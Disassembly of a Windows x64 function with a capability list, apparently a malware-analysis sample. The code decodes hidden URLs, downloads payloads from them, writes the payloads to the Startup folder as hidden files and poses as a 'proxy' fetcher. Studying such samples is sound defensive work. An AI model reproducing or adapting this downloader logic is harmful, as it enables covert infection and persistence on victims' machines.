Function at 0x140003190
Capabilities:
Create http request
Get common file path
Get http content length
Get startup folder
Read data from internet
Receive data
Reference http user-agent string
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x480
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x420], rax
call fcn.1400028e0
test eax, eax
jne 0x140004284
call fcn.140002de0
test eax, eax
jne 0x140004284
mov qword [rbp + 0x108], 0x9c4
lea rcx, [rbp + 0x108]
call fcn.140005b70
xor r14d, r14d
mov edi, r14d
mov ecx, 0x2dc6e7
call fcn.140006858
test rax, rax
je 0x14000427d
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
lea rcx, [rbx + 1]
xor edx, edx
mov r8d, 0x2dc6bf
call sub.VCRUNTIME140.dll_memset
mov byte [rbx], 1
mov edx, 0x2dc6e7
mov rax, qword [rbx - 8]
sub rbx, rax
add rbx, 0xfffffffffffffff8
cmp rbx, 0x1f
ja 0x14000427d
mov rcx, rax
call fcn.140006850
inc edi
cmp edi, 0x3e8
jl 0x140003200
mov qword [0x14000c950], 0xa
mov r13, r14
mov dword [rbp + 8], r14d
mov r12, r14
movabs rax, 0x93c4065288330fc5
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x80], rax
movabs rax, 0x4cf80810800c28a8
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x88], rax
movabs rax, 0x249dc29d0c1652ed
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x90], rax
movabs rax, 0x3cd3cedecfc7aada
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x98], rax
movabs rax, 0x4fc8ad5137eef9b6
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xa0], rax
movabs rax, 0xa0fb1a418689d4ba
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xa8], rax
movabs rax, 0x6f69c88e3a8d5ab2
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xb0], rax
movabs rax, 0xb35bd64d0d9312c1
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xb8], rax
movabs rax, 0x27fa246fd5766aa0
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xc0], rax
movabs rax, 0x31a807fd77d54711
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xc8], rax
movabs rax, 0xdfff49af25a2ae82
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xd0], rax
movabs rax, 0x5546fa11b9a7b4b4
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xd8], rax
movabs rax, 0xc83067bdbc21f49f
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xe0], rax
movabs rcx, 0xeb1ce9a40f209ad6
mov qword [rbp + 0x108], rcx
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0xe8], rax
movabs rdi, 0xbceb3c21f8477bad
mov qword [rbp + 0x108], rdi
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x180], rax
movabs r15, 0x29956778ae6241ca
mov qword [rbp + 0x108], r15
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x188], rax
movabs rax, 0xbf2abb37f623d8f
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x190], rax
movabs rax, 0x58b5f8baadf785bc
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x198], rax
movabs rax, 0x62ff9a6501c3ce81
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xc1cd7b6cb7b0e08e
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x595ef0b70cef7783
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x8774e12e6ba72af0
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xacf1c59e7430895
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x549f33d045e62472
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xecd27ecb47c383b7
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x6071c272dfc58284
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xc83067bdbc13c6a9
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x108], rcx
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1e8], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqa xmm0, xmmword [rbp + 0xe0]
vxorps xmm0, xmm0, xmmword [rbp + 0x1e0]
vmovdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x40]
vzeroupper
call fcn.140005170
nop
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140003772
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x1400036ab
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140003768
mov dword [rbp + 0x100], r14d
mov dword [rbp + 0x118], 4
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x118]
lea r8, [rbp + 0x100]
mov edx, 0x20000005
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x1400036f5
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140003768
mov ecx, dword [rbp + 0x100]
call fcn.140006964
mov r13, rax
mov r14d, dword [rbp + 0x100]
mov dword [rbp + 8], r14d
mov dword [rbp + 0x110], 0
lea r9, [rbp + 0x110]
mov r8d, r14d
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x140003765
mov eax, dword [rbp + 0x100]
cmp dword [rbp + 0x110], eax
jne 0x140003765
xor bl, bl
xor r14d, r14d
movabs rdi, 0xbceb3c21f8477bad
jmp 0x140003774
xor r14d, r14d
movabs rdi, 0xbceb3c21f8477bad
mov bl, 1
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400037b2
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006850
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
test bl, bl
je 0x1400037e3
lea rdx, str.____proxy_1_fail_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140005990
mov eax, 1
jmp 0x14000424d
movabs rax, 0x93c4065288330fc5
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x180], rax
movabs rax, 0x5bf40056cb0e28ac
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x188], rax
movabs rax, 0x5b8bdfe9500c58eb
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x190], rax
movabs rax, 0x17cc93fd80bfb5c4
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x198], rax
movabs rax, 0x1a8fef4a638ca7e5
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xc1cd7b18d6d2ceb8
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x108], rdi
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x108], r15
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x148], rax
movabs rax, 0xbf2abb37f623d8f
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x150], rax
movabs rax, 0x58b5f8baadf785bc
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x158], rax
movabs rax, 0x62ff9a6501c3ce81
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x160], rax
movabs rax, 0xc1cd7b6cb7b0e08e
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x168], rax
vmovdqu ymm0, ymmword [rbp + 0x180]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x160]
vmovdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x60]
vzeroupper
call fcn.140005170
nop
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140003a34
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
je 0x140003a21
mov dword [rbp + 0x104], r14d
mov dword [rbp + 0x108], 4
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x108]
lea r8, [rbp + 0x104]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x140003a77
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movabs rdi, 0xbceb3c21f8477bad
mov bl, 1
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140003aea
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ae5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ae5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, dword [rbp + 0x104]
call fcn.140006964
mov r12, rax
mov dword [rbp + 0x114], r14d
lea r9, [rbp + 0x114]
mov r8d, dword [rbp + 0x104]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x140003a2a
mov eax, dword [rbp + 0x104]
cmp dword [rbp + 0x114], eax
jne 0x140003a2a
xor bl, bl
movabs rdi, 0xbceb3c21f8477bad
jmp 0x140003a36
call fcn.140006850
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
test bl, bl
je 0x140003b0a
lea rdx, str.____proxy_2_fail_n
jmp 0x1400037cd
lea rax, [rbp + 0x200]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov rbx, 0xffffffffffffffff
movabs rcx, 0x8000000000000000
mov edx, 0x16
movabs r15, 0x7fffffffffffffff
test eax, eax
jne 0x140003e85
movabs rax, 0xca824e459d2934f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x2995671dd6076faf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x29956778ae6241ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r14
mov qword [rbp + 0x138], r14
lea rax, [rbp + 0x200]
mov rdi, rbx
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140003be0
cmp rdi, r15
ja 0x1400042a2
cmp rdi, 0xf
ja 0x140003c2d
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x138], 0xf
mov r8, rdi
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi + 0x120], 0
jmp 0x140003cc1
mov rsi, rdi
or rsi, 0xf
cmp rsi, r15
jbe 0x140003c5b
mov rsi, r15
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.140006858
test rax, rax
je 0x140003c83
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140003c92
cmp rsi, rdx
cmovb rsi, rdx
lea rcx, [rsi + 1]
test rcx, rcx
je 0x140003c92
cmp rcx, 0x1000
jb 0x140003c8a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004296
jmp 0x140003c40
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006858
mov r14, rax
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x138], rsi
mov r8, rdi
lea rdx, [rbp + 0x200]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rdi], 0
xor r14d, r14d
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x180]
call fcn.140005ce0
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140003d1d
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006850
mov qword [rbp + 0x130], r14
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
lea r8, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova r8, qword [rbp + 0x180]
add r8, qword [rbp + 0x190]
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x140]
call fcn.140005dc0
nop
mov r8d, dword [rbp + 8]
mov rdx, r13
lea rcx, [rbp + 0x180]
call fcn.1400020d0
test al, al
je 0x140003dc5
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 7
cmova rcx, qword [rbp + 0x140]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, str.___successfully_got_proxies_1_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 7
jbe 0x140003e0e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006850
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], 7
mov word [rbp + 0x140], r14w
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140003e6c
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006850
mov qword [rbp + 0x190], r14
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], 0
lea rax, [rbp + 0x310]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x140004236
movabs rax, 0xca824e459d2914f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x7e11519da111eaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xbf2abb37f165ced
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rcx, 0x58b5f8baadf785bc
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xbceb3c21f8477bad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0x29956778ae6241ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xbf2abb37f623d8f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0x20], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], r14
mov qword [rbp + 0x138], r14
lea rax, [rbp + 0x310]
vzeroupper
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003f94
cmp rbx, r15
ja 0x140004290
cmp rbx, 0xf
ja 0x140003fe1
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], 0xf
mov r8, rbx
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x120], 0
jmp 0x140004086
mov rax, rbx
or rax, 0xf
cmp rax, r15
jbe 0x140004016
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140006858
test rax, rax
je 0x14000404c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000405b
cmp rax, 0x16
mov ecx, 0x16
cmovb rax, rcx
mov r15, rax
lea rcx, [rax + 1]
test rcx, rcx
jne 0x140004034
mov rdi, r14
jmp 0x14000405b
cmp rcx, 0x1000
jb 0x140004053
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000429c
jmp 0x140003ffb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006858
mov rdi, rax
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], r15
mov r8, rbx
lea rdx, [rbp + 0x310]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x180]
call fcn.140005ce0
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x1400040e2
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006850
mov qword [rbp + 0x130], r14
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rdx, qword [rbp + 0x180]
mov r8, qword [rbp + 0x190]
add r8, rdx
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x140]
call fcn.140005dc0
nop
mov r8d, 1
mov rdx, r12
lea rcx, [rbp + 0x180]
call fcn.1400020d0
test al, al
je 0x14000418f
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 7
cmova rcx, qword [rbp + 0x140]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, str.___successfully_got_proxies_2_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005990
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 7
jbe 0x1400041d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006850
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], 7
mov word [rbp + 0x140], r14w
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140004236
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004231
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004231
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006850
mov rcx, r13
call fcn.140006850
mov rcx, r12
call fcn.140006850
call fcn.140001520
xor eax, eax
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.140006830
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400011b0
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.1400011b0
int3